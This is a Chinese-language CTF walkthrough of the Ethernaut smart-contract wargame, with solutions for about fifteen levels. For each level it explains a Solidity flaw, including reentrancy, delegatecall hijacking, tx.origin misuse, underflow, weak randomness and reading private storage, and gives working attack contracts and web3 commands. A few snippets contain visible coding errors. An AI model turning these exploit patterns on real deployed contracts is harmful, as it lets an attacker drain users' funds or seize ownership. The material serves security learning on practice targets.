Ethernaut 超详细解题与分析(完结 全27道题目)

最近系统的学习了solidity的编程相关知识,挑战一下重新日这个靶场,这个靶场也迎来了更新,并且这次更加详细的写一下

Fallback

分析

先看合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

结合名称,我们知道考点是fallback,简单介绍一下fallback函数,就是当其他合约调用该合约切该合约不存在相应函数就会触发fallback,fallback功能由合约所有者自定义。

这里注意观察

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

引用了onlyOwner的修饰器,只有合约所有者才可以转账,我们的目的就是成为合约的所有者,那么看一看其他的函数,看看有没有对msg.sender进行操作的

可以看见contribute和receive函数进行了操作,

  
 function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

首先是contribute函数,可以观察到他的条件很难触发,要我们的eth>合约所有者的eth,但是合约所有者的eth在最开始就有1000eth

constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

所以此路不通

再来看看receive,首先recevie是个特殊函数,在remixide中也会以不同颜色来标识

图片[1]-Ethernaut通关详解 Writeup

他的触发方式:

一个合约现在只能有一个 receive 函数,声明的语法是: receive() external payable {...} (没有 function 关键词)。它在没有数据(calldata)的合约调用时执行,例如通过 send() 或 transfer()调用。该函数不能有参数,不能返回任何东西,并且必须有 external 可见性和 payable 状态可变性。

说白了就是当有人向合约发送一些以太坊而没有在交易的 “数据”字段中指定任何东西时,receive 就会被 自动调用。

那么在这个函数中,要求msg.value发送>0wei的钱与贡献值也要>0,满足这两个条件我们就是合约的所有者了。

解决

首先用小于0.001eth向合约捐献,调用contribute()函数,使我们拥有贡献值

然后直接向合约发送1wei,触发recvie函数,即可成为owner

最后调用withdraw,掏空他的eth,

await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
await contract.owner()

用solidity解决

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Fallback {


  function contribute()  external payable;

  function getContribution() external view  returns (uint);

  function withdraw() external ;

}

定义个接口,然后at address输入远程内容,先contribute发0.0001 eth,然后再最下面的transact再发送0.0001eth,最后调用withdraw即可。

图片[2]-Ethernaut通关详解 Writeup

Fallout

分析

先看合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

要求是获得Fallout合约的所有权,当然还是先看看有哪些操作能成功更改owner

就一个

  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

不过这个有点猫腻,仔细看他好像是拼错了,是fal1out了,那么我们直接调用应该就可以了

而且这个合约没有构造函数,也就导致这个手工调用是可以直接进行更替的

解题

写个接口调用一下就行了,非常的简单

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Fallout {
  function Fal1out() external payable;
}
图片[3]-Ethernaut通关详解 Writeup

CoinFlip

先看合约,本关要求连续猜对10次

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

分析

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

consecutiveWins存储胜利次数,被初始化为0

FACTOR被声明为一串数字,暂时不知道干啥的

lastHash,由flip函数更新,分析下flip函数

 function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

首先明确一点,solidity都是伪随机,然后根据代码,我们知道可以这么计算_guess

_guess = uint256(blockhash(block.number.sub(1))).div(FACTOR) == 1 ? true : false

并且

if (lastHash == blockValue) {
      revert();
    }

这个函数限制了我们一个合约只能调用一次flip,否则就会revert

解题

payload,部署后运行10次即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


import './SafeMath.sol';
import './coin.sol';

contract HackCoinFlip{

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function guessFlip() public {

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}
图片[4]-Ethernaut通关详解 Writeup

通过contract.consecutiveWins(),来判断当前已经成功猜了几次

Telephone

拿到合约所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

分析

代码非常的简洁,那么主要是对合约修改的位置就一处changeOwner,这里考点就是tx.origin和msg.sender的相关内容

具体区别单位和全局变量 — Solidity中文文档 — 登链社区 (learnblockchain.cn)

  • tx.origin (address): 交易的发起者(完整的调用链)
  • msg.sender (address): 消息的发送者(当前调用)

tx.originmsg.sender都是 “特殊变量“,始终存在于全局命名空间,主要用于提供区块链的信息,或者是通用的实用函数。

但我们需要注意的是:

  • msg的所有成员,包括msg.sendermsg.value的值可以在每一个外部函数调用中改变。这包括对库函数的调用。
  • tx.origin将返回最初发送交易的地址,而msg.sender将返回发起external调用的地址。

这意味着什么呢?

让我们举个例子,看看这两者的不同值:

情景A:Alice (EOA,即外部账号)直接调用Telephone.changeOwner(Bob)

  • tx.origin: Alice的地址
  • msg.sender: Alice的地址

情景B: Alice (EOA)调用智能合约Forwarder.forwardChangeOwnerRequest(Bob),该合约将调用Telephone.changeOwner(Bob)

Forwarder.forwardChangeOwnerRequest

  • tx.origin: Alice的地址
  • msg.sender: Alice的地址

Telephone.changeOwner(Bob)里面

  • tx.origin: Alice的地址
  • msg.sender: Forwarder(合约)的地址

这是因为,虽然tx.origin总是返回创建交易的地址,msg.sender将返回进行最后一次外部调用的地址。

那么我们只需要调用一个合约即可

解决

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './Telephone.sol';

contract Attack {

    Telephone telephone;
    constructor(address _address) public {
        telephone = Telephone(_address);
    }
    function changeOwner(address _address) public {
        telephone.changeOwner(_address);
    }
}

changeOwner填入自己的metamask地址即可

Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

这关目的是增加我们手里的token,进行分析

分析

首先注意到,这个合约他没有引入safemath的库,猜测存在上溢或者下溢漏洞

然后我们挨个看看,

mapping(address => uint256) balances来保存用户余额

uint256 public totalSupply;用于跟踪总发行量。总发行量可以被声明为 “不可变”,因为它只在合约中被初始化,而且从不更新。

然后进入构造函数constructor(uint _initialSupply) public

合约的创建者将initialSupply赋值到totalSupply和创建者的余额。

然后balanceOf进行余额查询

transfer进行转账操作,将token转到_to地址,看看代码

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

上面提及到了他没用safemath,所以在加减法处存在溢出漏洞

所以我们只需要让他溢出就行了

解题

pragma solidity ^0.6.0;


interface Token{
    function transfer(address _to, uint256 _value) external returns (bool success);
    function balanceOf(address _owner) external view returns (uint256 balance);
}
图片[5]-Ethernaut通关详解 Writeup

Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

目的:获得合约所有权

分析

首先这里有两个合约,分别为Delegate,Delegation

delegate非常简单的代码,

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }

定义合约所有人,然后pwn函数来更改owner

再来看看delegation

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

首先定义一个变量,然后对Delegate合约进行了引用

合约进行初始化,把address _delegateAddress作为唯一的输入参数,用它初始化delegate状态变量,用msg.sender初始化所有者。

最后是fallback函数

fallback函数是被自动调用的,当出现如下两种情况时

合约收到一些以太币,但没有receive函数,有一个payable 的fallback 函数
被调用者调用一个合约的函数,但该函数不存在。在这种情况下,fallback函数被调用,将原来的calldata传递给它。

那么我们再来看看他的fallback函数,

当他被调用时,delegatecall将msg.data转发给delegate合约,然后将“delegatecall”的返回值存入result变量,再继续执行合约代码

简单里说就是把交易数据转发给delegate合约

例如:

有人调用了delegation.function(111),那么这个fallback就会去调用delegate.function(111)

这里需要注意delegatecall

目标地址的代码在调用合约的上下文中执行, msg.sender 和msg.value 的值不会改变。这意味着合约在运行时可以动态地从不同的地址加载代码。存储、当前地址和余额仍然指的是调用的合约,只是代码是从被调用的地址中提取的。

那么我们就好理解了。

解题

var hold = web3.utils.keccak256("pwn()")
contract.sendTransaction({data:hold})

Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

源码什么也没有,注释掉了,目的使合约钱>0

分析

这个合约是个空合约,那么我们就需要分析一下怎么才可以向合约发送以太坊

  1. 合约至少实现了一个payable函数,然后在调用函数的时候带eth
  2. 合约实现了一个recevie函数
  3. 合约实现了一个fallback函数
  4. 通过selfdestruct()
  5. 通过miner的奖励获得eth

那么通过查看此合约,可以猜测到是使用selfdestruct()方法。

来看看这个方法是干什么的

https://docs.soliditylang.org/en/v0.8.15/introduction-to-smart-contracts.html?highlight=selfdestruct#deactivate-and-self-destruct

  1. 这是从区块链上删除合约代码的唯一方法。
  2. 储存在合约地址的剩余以太币被发送给指定的目标接收者
  3. 存储和代码(在发送以太币后)会从状态中删除
  1. 即使一个合约被 selfdestruct删除,它仍然是区块链历史的一部分,可能被大多数以太坊节点保留。因此,使用 selfdestruct与从硬盘上删除数据不同。
  2. 即使合约的代码不包含对 selfdestruct的调用,它仍然可以使用 delegatecall  callcode执行该操作。

那么我们就知道如何解决了,只要我们创建一个自定义合约,然后接受以太,带哦用selfdestruct,并发送到Force合约即可

解题

攻击合约

pragma solidity ^0.6.0;

contract Payer {
    uint public balance = 0;

    function destruct(address payable _to) external payable {
        selfdestruct(_to);
    }

    function deposit() external payable {
        balance += msg.value;
    }
}

首先使用deposit()进行存钱,然后调用destruct函数,地址输入题目地址即可

图片[6]-Ethernaut通关详解 Writeup

 vault 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

目的是让locked=false

分析

总共两个变量,locked检查金库是否锁定,password是要猜测的密码

代码也很简单,一个定义合约,一个让我们输入。

首先它定义了private的变量,说明我们是无法直接读取的,我们可以先进入到题目合约然后查看其字节码,进行反编译

图片[7]-Ethernaut通关详解 Writeup

可以看到,他的password被存在了插槽1中

我们先来了解一下状态变量在存储中的布局状态变量在储存中的布局 — Solidity中文文档 — 登链社区 (learnblockchain.cn)

每个存储槽将使用32个字节(一个字大小);
对于每个变量来说,会根据其类型确定以字节为单位的大小;
如果可能的话,少于32字节的多个连续字段将根据以下规则被装入一个存储槽;
一个存储槽中的第一个项目以低位对齐的方式存储。
值类型只使用存储它们所需的字节数。
如果一个值类型在一个存储槽的剩余部分放不下,它将被存储在下一个存储槽。
结构和数组数据总是从一个新的存储槽开始,它们的项目根据这些规则被紧密地打包。
结构或数组数据后面的项目总是开始一个新的存储槽。

所以,结合上述的反编译代码,可以看到,locked在slot0,password在slot1

我们只需使用getStorageAt即可获取

解题

await web3.eth.getStorageAt("0x578546AB0b765818E84ac03aaBa9eA942a9480B5",1)

获取密码

pragma solidity ^0.6.0;

contract attack{
    bool public locked;
    bytes32 public password ;
    function unlock(bytes32 _password)  public {
        if (password == _password) {
            locked = false;
    }
  }
    

}

然后搞过去就行了

图片[8]-Ethernaut通关详解 Writeup

king

这题需要1个eth,然而我总过就这点测试币,以后rich了来再做吧

图片[9]-Ethernaut通关详解 Writeup

Re-entrancy

重入攻击,经典话题

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

目的是偷走合约的资产

合约分析

mapping(address => uint) public balances; 用于存储用户余额,为了后续提取

donate捐赠函数,目的是捐赠由于使用safemath,不存在溢出

 function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

但是可以看见他没有对address_to做任何检查,可能出现这种情况:

捐赠给合约本身,捐赠给address(0),都会使钱进入黑洞无法取出。

balanceOf 计算余额,没啥用

withdraw 关键函数,来仔细阅读

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

首先判断msg.sender是否有足够的余额来提取以太币

然后通过一个call来发送请求的_amount,该函数将使用所有剩余的 “Gas” 来执行该操作,随后更新余额,余额减少

那么我们可以进行一个分析,首先合约使用的是solidity<8.0的版本,那么这里他没有使用safemath来处理余额减少的操作,所以可能存在溢出,但是它上面有个if(balances[msg.sender] >= _amount) ,来判断是否有余额,所以好像也没什么问题,这里先记住,往下看

其次,我们来分析他为什么存在重入攻击,

首先当我们执行msg.sender.call{value:_amount}(“”)并向msg.sender发送金额时会有两种情况

  1. msg.sender是个常规账户
  2. msg.sender是个合约,value被发送至合约后可能会调用fallback或recevie函数进行执行

那么第二种情况的时候,Contract 拥有交易的所有剩余Gas,用来执行它的代码

那么在fallback和receive函数中,你可以写任何代码,那么就会造成重入攻击,举个例子

1.Reentrance合约中有 0.001 eth
2.写一个attacker的自定义合约
3.调用reentranceContract.donate(attacker)发送0.0001eth
4.调用reentranceContract.withdraw(0.0001 ether)。
5.Reentrance合约检查我们是否有足够的余额
6.合约通过调用msg.sender.call{value: 0.0001 ether}("")送回0.0001 ether,我们的Attacker的 receive函数被执行。
7.recvie函数中调用reentranceContract.withdraw(0.0001 ether)
此时就会出现,在某一时刻balances[msg.sender]的值仍为0.0001,因为balances[msg.sender] -= _amount; 还没有被执行

所以我们接下来写攻击合约

解题

pragma solidity ^0.6.0;

import "./reentrance.sol";

contract Attack {
    Reentrance re;
    uint public attackAmount;
    event Withdraw(uint amount);
    
    constructor(address payable _re) public {
        re = Reentrance(_re);
        attackAmount = address(re).balance;
    }
    fallback() external payable {
        withdraw();
    }
    function attack() public payable {
        re.donate{value: attackAmount}(address(this));
        withdraw();
    }
    function withdraw() internal {
        re.withdraw(attackAmount);
        emit Withdraw(attackAmount);
    }
}

直接打,然后攻击的时候记得写合约钱数要不然会失败,1000000000000000个wei

图片[10]-Ethernaut通关详解 Writeup

拿下

图片[11]-Ethernaut通关详解 Writeup

Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

目的让Elevator合约的top为true

分析

看一下,首先top只会在此处被复制,切貌似永远不会变成true

if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }

首先继续分析,isLastFloor它是通过接口调用的,且Building building = Building(msg.sender);

这里的msg.sender需要传入一个外部合约,所以我们需要实现一个Building接口

那么我们的接口就需要满足以下条件

  1. 有个isLastFloor函数
  2. 接受一个uint256的输入参数
  3. 返回一个bool

这是最基本要求,当然也有可能写一些其他东西,所以是可以恶意操控的

解决

首先我们要让第一次调用返回false,在第二次返回true,然后令其调用即可

contract Hack {
  constructor(address _instance) {
    target = Elevator(_instance);
  }
  Elevator public target;
  bool result = true;
  function isLastFloor(uint) public returns (bool){
    if(result == true)
    {
      result = false;
    }
    else {
      result = true;
    }
    return result;
  }

  function attack() public {
    target.goTo(10);
  }
}

非常的简单

图片[12]-Ethernaut通关详解 Writeup

Privacy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

猜测这个合约的私有数据以及unlock这个合约。。。

分析

合约本身重点关注

 constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

locked始终为真,需要让她为假,然后bytes32[3] memory _data是存储密钥的变量,我们需要找到data[2]的值,然后传给unlock函数的key,这样就可以解锁完成挑战

这题更多知识点的内容可以参考valut那题,比较类似

解决

还是先去etherscan看看反编译内容

图片[13]-Ethernaut通关详解 Writeup

重点专注unlock,我们可以看到在这里的stor5相当于_key

得知插槽位置,那么我们就可以通过

web3.eth.getStorageAt(contract.address,5)

来获取key值

接下来编写合约

pragma solidity ^0.6.0;

import "./Elevator.sol";

contract Attack{
 constructor(address _data) public {
    Privacy public priv = Privacy(_data);//合约地址
  }
  

 function callTheFunc(bytes32 i) public  { //key值
     priv.unlock(bytes16(i));

 }
}
图片[14]-Ethernaut通关详解 Writeup

Gatekeeper One

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

通过三个修饰器,然后返回true即可

分析

主要目的是过三个修饰器,先看第一个

 modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  • msg.sender (address): 消息的发送者 (当前调用)
  • tx.origin (address): 交易的发送者(完整的调用链)

当交易由外部账号发起时,它直接与智能合约交互,这两个变量将具有相同的值。但是,如果它与一个中间人合约A交互,然后通过直接(call)调用(不是delegatecall)另一个合约B,在 B 合约里这些值将是不同的,在这种情况下。

  • msg.sender将是A合约的地址
  • tx.origin将是EOA地址地址

所以,为了过gateOne,我们就需要用智能合约中调用enter,而不是账号直接调用。

来看第二个

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

主要关键是gasleft函数,这个函数用于返回剩余的gas,想要通过必须剩余gas时8191的倍数。

直接选择无脑爆破是个非常好的选择

 for (uint256 i = 0; i < 120; i++) {
            if (address(_param).call.gas(i + 150 + 8191 * 3)(bytes4(keccak256("enter(bytes8)")), _gateKey)) {
                return true;
            }
        }

然后最后就是第三个了

 modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

本质是类型转换,从高位转成低位时,会造成截断和丢失

从第一个开始,uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)

要满足这个,低位的二字节必须等于低位的4字节,所以说要删除四字节中的高位的两个字节,相当于让0x111111等于0x00001111,此时掩码为0x0000FFFF

第二个需求是低位8字节必须与低位的4字节有所不同,满足第一个条件是,必须是0x00000000001111 !=0xXXXXXX00001111

此时掩码为0xFFFFFFFF0000FFFF

那么第三个掩码应用于tx.origin,并将其转换为bytes8,此时

最终结果bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

解题

最终脚本


contract GateOneSkipper {
    bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

    function Skipper(address _param) public returns(bool){
        // gas offset usually comes in around 210, give a buffer of 60 on each side
        for (uint256 i = 0; i < 120; i++) {
            if (address(_param).call.gas(i + 150 + 8191 * 3)(bytes4(keccak256("enter(bytes8)")), _gateKey)) {
                return true;
            }
        }
    }
}
图片[15]-Ethernaut通关详解 Writeup

Gatekeeper Two

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

还是一样的目的,通过三个,然后true

分析

第一关就不多说了,跟上一关一样

第二关

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

主要是assemly关键字,暂时不用管,只需要知道是写低级语言的就行了

主要目的是要求caller的code大小必须为0,

当构造函数执行初始化合约存储时,它会返回运行时字节码。直到构造函数的结束,合约本身没有任何运行时字节码,这意味着如果你此时调用address(contract).code.length,它将返回0

然后再来看最后一个

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1

比较逆天,主要看最后,uint64(0)-1,这个方式是获得uint64最大值的方式

bytes8(keccak256(abi.encodePacked(msg.sender)))部分是从msg.sender(即本例中的Exploiter合约)中抽取低位的8字节并将其转换为uint64。

指令a ^ b是位的XOR(异或)操作。XOR 操作是这样的:如果位置上的两个位相等,将产生一个 "0",否则将产生一个 "1"。为了使a ^ b = type(uint64).max(都是1), b必须是a的逆数。

这意味着我们的gateKey必须是bytes8(keccak256(abi.encodePacked(msg.sender))的逆数。

在solidity中,没有 "逆数"的操作,但我们可以通过输入数和一个只有 "F"的值之间做 "XOR "来重新创建它。

只需要进行计算bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF就可以了

解题

pragma solidity ^0.8.0;

contract attack {

    constructor(address _victim) {
        bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
        (bool success,) = _victim.call(payload);
        require(success, "failed somewhere...");
    }
}

拿下捏

NaughtCoin

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

让我们的代币变为0即可

分析

在合约初始化时合约向player地址发了1000000代币

然后再Locktokens中

  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

进行了10年的限制

那么我们该如何转账

首先由两种方式来转账代币

  • 通过 “transfer “函数,允许 “msg.sender”直接转账代币给”接收者”。
  • 通过 “transferFrom”,允许外部任意的 “发送者”(可以是代币的所有者本身)代表所有者向 “接收者”转账一定数量的代币。在发送这些代币之前,所有者必须授权(approve)“发送者”管理该数量的代币。

因为transfer已经被合约给override,所以我们只能使用transferfrom来突破限制

那么我们只需要创建个帐户来接受我们所有的代币

然后再transferfrom之前授权自己管理整个代币数量

调用transferFrom(player, secondaryAccount, token.balanceOf(player)) ;,即可使用

解题

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Elevator.sol";

contract NaughtCoinExploit {
    address Ncoin;
    NaughtCoin public naa;

    function setAddy(address _Ncoin) public{
        naa = NaughtCoin(_Ncoin);
    }

    function exploit() external {
        naa.transferFrom(msg.sender,“地址任意”,1000000 * 10**18);
    }
}

部署攻击合约后,设置题目合约地址

然后使用await contract.approve(“0x43f1d37c64d2E199B13a079Abf34222624F25588”, BigInt(10000000 * 10**18))

为攻击合约给予approve权限

最后调用exploit函数,exploit的函数的地址任意即可,反正给他转走就完了

